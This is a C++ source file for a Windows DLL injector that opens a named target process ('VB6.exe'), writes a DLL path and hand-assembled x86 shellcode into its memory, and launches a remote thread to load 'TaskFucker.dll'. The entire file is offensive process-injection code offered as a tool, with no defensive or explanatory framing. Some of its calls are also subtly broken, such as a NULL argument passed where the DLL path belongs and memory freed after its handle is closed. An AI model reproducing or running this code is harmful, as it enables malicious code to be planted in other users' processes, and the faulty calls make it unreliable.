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// We Will Be Using These. #include "stdafx.h" #include <windows.h> #include <tlhelp32.h> #include <shlwapi.h> #include <conio.h> #include <stdio.h> #include <cstdlib> #include <iostream> using namespace std; // Lets Just Define Some Variables #define WIN32_LEAN_AND_MEAN #define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ ///////////////////////////////////// DWORD WINAPI GetCurrentProcessId(void); BOOL WINAPI TerminateProcess(_In_ HANDLE hProcess, _In_ UINT uExitCode); ///////////////////////////////////// // Lets declare our function BOOL CreateRemoteThreadInject(DWORD ID, const char *dll); // Let declare GetProcessId DWORD GetProcessId(IN PCHAR szExeName); HANDLE CreateRemoteThreadEx(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, DWORD dwCreationFlags, LPDWORD lpThreadId, LPSTR szFormat, ...) { char *lpCallGate, *lpData, *lpCode, *lpArg; va_list vlParameters; BYTE i, j; DWORD dwDataSize, dwCallSize, dwWritten, dwAmount = 0; // amount of parameters char CallGateShellcode[] = "\xE8\x1D\x00\x00\x00" // CALL $+0x1D /*/*/ /*|*/ "\x50" // PUSH EAX /*|*/ "\x68\x58\x58\xC3\x90" // PUSH 90C35858 (code for POP EAX\nPOP // EAX\nRETN)" /*|*/ "\x68\x00\x40\x00\x00" // PUSH MEM_RELEASE /*|*/ "\x6A\x01" // PUSH 1 /*|*/ "\x68\x00\x00\x00\x00" // PUSH 00000000 (-> PUSH lpCallGate) /*|*/ "\x54" // PUSH ESP /*|*/ "\x83\x04\x24\x0C" // ADD DWORD [ESP], 0x0C /*|*/ "\x68\x00\x00\x00\x00" // PUSH 00000000 (-> PUSH VirtualFree) /*|*/ "\xC3" // RETN /*\*/ "\x68\x00\x00\x00\x00" // PUSH 00000000 (-> PUSH lpStartAddress) "\xC3" // RETN ; // Calculate the size of our callgate. Depends on // amount of parameters. if (szFormat) { // Count %'s for (i = 0; szFormat[i] != '\0'; i++) if (szFormat[i] == '%') dwAmount++; // Calculate size of data (%s, %[num]d) i = 0; dwDataSize = 0; va_start(vlParameters, dwAmount); while (szFormat[i] != '\0') { if (szFormat[i] != '%') return NULL; i++; switch (szFormat[i]) { case 'd': case 'u': case 'x': va_arg(vlParameters, DWORD); break; case 's': dwDataSize += lstrlen(va_arg(vlParameters, char *)) + 1; break; default: // number? // Conversion from string to integer for (j = 0; szFormat[i] >= '0' && szFormat[i] <= '9'; i++) j = j * 10 + szFormat[i] - '0'; if (!j || szFormat[i] != 'd') return 0; // Converting failed va_arg(vlParameters, char *); dwDataSize += j; break; } i++; } va_end(vlParameters); } // if(szFormat) dwCallSize = dwAmount * (4 + 1) // Size of PUSH instructions + dwDataSize // %s, %d + sizeof(CallGateShellcode); // Allocate memory for callgate constructing (local process) char *lpShellcodeBuffer = (char *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwCallSize); if (!lpShellcodeBuffer) return NULL; // Allocate memory from remote process lpCallGate = (char *)VirtualAllocEx(hProcess, NULL, dwCallSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpCallGate) { HeapFree(GetProcessHeap(), 0, lpShellcodeBuffer); return NULL; } // Construct it. Copy data/strings to beginning of the buffer, // code to the end. va_start(vlParameters, dwAmount); lpData = lpShellcodeBuffer; lpCode = lpShellcodeBuffer + dwDataSize + dwAmount * (1 + 4); i = 0; if (szFormat) { while (szFormat[i] != '\0') { i++; // % switch (szFormat[i]) { case 'd': case 'u': case 'x': lpCode -= 5; // due to calling conventions (*lpCode) = 0x68; // PUSH *(DWORD *)(lpCode + 1) = (DWORD)va_arg(vlParameters, DWORD); break; case 's': lpArg = va_arg(vlParameters, char *); j = lstrlen(lpArg) + 1; break; default: // Conversion from string to integer lpArg = va_arg(vlParameters, char *); for (j = 0; szFormat[i] >= '0' && szFormat[i] <= '9'; i++) j = j * 10 + szFormat[i] - '0'; break; } if (szFormat[i] == 's' || szFormat[i] == 'd') { lpCode -= 5; (*lpCode) = 0x68; *(DWORD *)(lpCode + 1) = (DWORD)(lpCallGate + (lpData - lpShellcodeBuffer)); while (j) { (*lpData) = *lpArg; lpData++, lpArg++; j--; } } i++; // xsd } va_end(vlParameters); } // if(szFormat) // Copy the shellcode // (it's responsible to push arguments to stack, virtualfree itself, call the // thread) lpCode = lpShellcodeBuffer + dwDataSize + dwAmount * (1 + 4); *(DWORD *)(CallGateShellcode + 19) = (DWORD)lpCallGate; *(DWORD *)(CallGateShellcode + 35) = (DWORD)lpStartAddress; *(DWORD *)(CallGateShellcode + 29) = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualFree"); for (i = 0; i < sizeof(CallGateShellcode); i++, lpCode++) (*lpCode) = CallGateShellcode[i]; // Write the shellcode to remote process and call it WriteProcessMemory(hProcess, lpCallGate, lpShellcodeBuffer, dwCallSize, &dwWritten); HeapFree(GetProcessHeap(), 0, lpShellcodeBuffer); if (!dwWritten) return NULL; return CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, (LPTHREAD_START_ROUTINE)(lpCallGate + dwDataSize), 0, dwCreationFlags, lpThreadId); } // Our Application Starts Here. int main() { cout << "Damra KOC DLL ENFECKTOR" << endl << endl; // Declare our dll variable char dll[MAX_PATH]; // Get the full path of our .dll GetFullPathName("TaskFucker.dll", MAX_PATH, dll, NULL); cout << dll << endl; // We will be using this neat little function written by batfitch - // GetProcessId. DWORD ID = GetProcessId("VB6.exe"); if (!CreateRemoteThreadInject(ID, dll)) { printf("Injection failed!"); // TerminateProcess(INVALID_HANDLE_VALUE,0); exit(1); } else { printf("Injection Successful!"); // TerminateProcess(INVALID_HANDLE_VALUE,0); exit(1); } return 1; } DWORD GetProcessId(IN PCHAR szExeName){ DWORD dwRet = 0; DWORD dwCount = 0; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot != INVALID_HANDLE_VALUE) { PROCESSENTRY32 pe = {0}; pe.dwSize = sizeof(PROCESSENTRY32); BOOL bRet = Process32First(hSnapshot, &pe); while (bRet) { if (!_stricmp(pe.szExeFile, szExeName)) { dwCount++; dwRet = pe.th32ProcessID; } bRet = Process32Next(hSnapshot, &pe); } if (dwCount > 1) dwRet = 0xFFFFFFFF; CloseHandle(hSnapshot); } return dwRet; } BOOL CreateRemoteThreadInject(DWORD ID, const char *dll){ HANDLE Process; LPVOID Memory; LPVOID LoadLibrary; if (!ID) { return false; } // Open the process with read , write and execute priviledges Process = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, ID); // Get the address of LoadLibraryA LoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // Allocate space in the process for our DLL Memory = (LPVOID)VirtualAllocEx(Process, NULL, strlen(dll) + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); // Write the string name of our DLL in the memory allocated WriteProcessMemory(Process, (LPVOID)Memory, dll, strlen(dll) + 1, NULL); // Load our DLL // CreateRemoteThreadex(Process, NULL, NULL, //(LPTHREAD_START_ROUTINE)LoadLibrary, (LPVOID)Memory, NULL, NULL); CreateRemoteThreadEx(Process, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibrary, NULL, NULL, NULL); // Let the program regain control of itself CloseHandle(Process); // Lets free the memory we are not using anymore. VirtualFreeEx(Process, (LPVOID)Memory, 0, MEM_RELEASE); return true; } |